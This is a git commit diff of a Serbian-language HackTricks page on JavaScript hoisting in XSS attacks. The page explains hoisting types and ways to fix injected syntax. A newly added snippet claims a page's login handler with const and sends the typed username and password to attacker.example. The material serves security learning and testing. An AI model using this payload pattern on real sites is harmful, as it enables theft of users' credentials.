mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xss-cross-site-scripting/README.md',
This commit is contained in:
parent
7520e669ce
commit
73a5ecaf07
File diff suppressed because it is too large
Load Diff
@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne Informacije
|
||||
## Osnovne informacije
|
||||
|
||||
U JavaScript jeziku, mehanizam poznat kao **Hoisting** opisuje situaciju gde se deklaracije promenljivih, funkcija, klasa ili uvoza konceptualno podižu na vrh svog opsega pre nego što se kod izvrši. Ovaj proces automatski obavlja JavaScript engine, koji prolazi kroz skriptu u više prolaza.
|
||||
U jeziku JavaScript opisuje se mehanizam poznat kao **Hoisting**, pri kojem se deklaracije promenljivih, funkcija, klasa ili imports konceptualno podižu na vrh njihovog opsega pre nego što se kod izvrši. Ovaj proces automatski obavlja JavaScript engine, koji prolazi kroz skriptu u više prolaza.
|
||||
|
||||
Tokom prvog prolaza, engine analizira kod kako bi proverio sintaktičke greške i transformiše ga u apstraktno sintaktičko stablo. Ova faza uključuje hoisting, proces u kojem se određene deklaracije premeste na vrh konteksta izvršenja. Ako je faza analize uspešna, što ukazuje na to da nema sintaktičkih grešaka, izvršenje skripte se nastavlja.
|
||||
Tokom prvog prolaza, engine parsira kod da bi proverio sintaksne greške i transformisao ga u apstraktno sintaksno stablo. Ova faza uključuje hoisting, proces u kojem se određene deklaracije pomeraju na vrh konteksta izvršavanja. Ako faza parsiranja uspe, što znači da nema sintaksnih grešaka, izvršavanje skripte može da se nastavi.
|
||||
|
||||
Ključno je razumeti da:
|
||||
Važno je razumeti da:
|
||||
|
||||
1. Skripta mora biti bez sintaktičkih grešaka da bi došlo do izvršenja. Sintaktička pravila moraju se strogo poštovati.
|
||||
2. Postavljanje koda unutar skripte utiče na izvršenje zbog hoistinga, iako se izvršeni kod može razlikovati od njegove tekstualne reprezentacije.
|
||||
1. Skripta mora biti bez sintaksnih grešaka da bi se izvršila. Pravila sintakse moraju biti striktno poštovana.
|
||||
2. Pozicija koda u okviru skripte utiče na izvršavanje zbog hoistinga, iako se izvršeni kod može razlikovati od njegove tekstualne reprezentacije.
|
||||
|
||||
#### Tipovi Hoistinga
|
||||
|
||||
Na osnovu informacija sa MDN-a, postoje četiri različita tipa hoistinga u JavaScript-u:
|
||||
Na osnovu informacija sa MDN, postoje četiri različita tipa hoistinga u JavaScriptu:
|
||||
|
||||
1. **Value Hoisting**: Omogućava korišćenje vrednosti promenljive unutar njenog opsega pre njene deklaracije.
|
||||
2. **Declaration Hoisting**: Omogućava referenciranje promenljive unutar njenog opsega pre njene deklaracije bez izazivanja `ReferenceError`, ali će vrednost promenljive biti `undefined`.
|
||||
3. Ovaj tip menja ponašanje unutar svog opsega zbog deklaracije promenljive pre njene stvarne deklaracione linije.
|
||||
1. **Value Hoisting**: Omogućava upotrebu vrednosti promenljive unutar njenog opsega pre linije njene deklaracije.
|
||||
2. **Declaration Hoisting**: Dozvoljava referenciranje promenljive unutar njenog opsega pre njene deklaracije bez izazivanja `ReferenceError`, ali vrednost promenljive biće `undefined`.
|
||||
3. Ovaj tip menja ponašanje unutar svog opsega zbog deklaracije promenljive pre stvarne linije njene deklaracije.
|
||||
4. Sporedni efekti deklaracije se dešavaju pre nego što se ostatak koda koji je sadrži evaluira.
|
||||
|
||||
Detaljno, deklaracije funkcija pokazuju ponašanje tipa 1 hoistinga. Ključna reč `var` pokazuje ponašanje tipa 2. Lekcionalne deklaracije, koje uključuju `let`, `const`, i `class`, pokazuju ponašanje tipa 3. Na kraju, `import` izjave su jedinstvene po tome što se podižu sa ponašanjem tipa 1 i tipa 4.
|
||||
Detaljnije, deklaracije funkcija pokazuju ponašanje tipa 1 hoistinga. Ključna reč `var` demonstrira ponašanje tipa 2. Leksičke deklaracije, koje uključuju `let`, `const` i `class`, pokazuju ponašanje tipa 3. Na kraju, `import` statements su jedinstveni po tome što se hoistuju sa ponašanjem tipa 1 i tipa 4.
|
||||
|
||||
## Scenariji
|
||||
|
||||
Dakle, ako imate scenarije gde možete **Umetnuti JS kod nakon što je korišćen nedeklarisani objekat**, mogli biste **ispraviti sintaksu** tako što ćete ga deklarisati (tako da se vaš kod izvrši umesto da izazove grešku):
|
||||
Dakle, ako imate scenarije u kojima možete **Inject JS code after an undeclared object** is used, možete **fix the syntax** tako što ćete ga deklarisati (tako da se vaš kod izvrši umesto da baci grešku):
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -127,11 +127,31 @@ alert(1) -
|
||||
},
|
||||
})
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Spreči kasnije deklaracije zaključavanjem imena pomoću const
|
||||
|
||||
Ako možete izvršiti kod pre nego što se top-level `function foo(){...}` parsira, deklarisanjem leksičkog vezivanja istog imena (npr. `const foo = ...`) sprečićete kasniju deklaraciju funkcije da ponovo veže taj identifikator. Ovo se može zloupotrebiti u RXSS da bi se preoteli kritični handleri definisani kasnije na stranici:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value)
|
||||
const user = Trim(FormInput.InputUtente.value)
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
|
||||
}
|
||||
|
||||
// Later, the legitimate page tries to declare:
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Napomene
|
||||
- Ovo zavisi od redosleda izvršavanja i globalnog (top-level) opsega.
|
||||
- Ako se vaš payload izvršava unutar `eval()`, imajte na umu da su `const/let` unutar `eval` block-scoped i neće napraviti globalne binding-e. Ubacite novi `<script>` element sa kodom da uspostavite pravi globalni `const`.
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user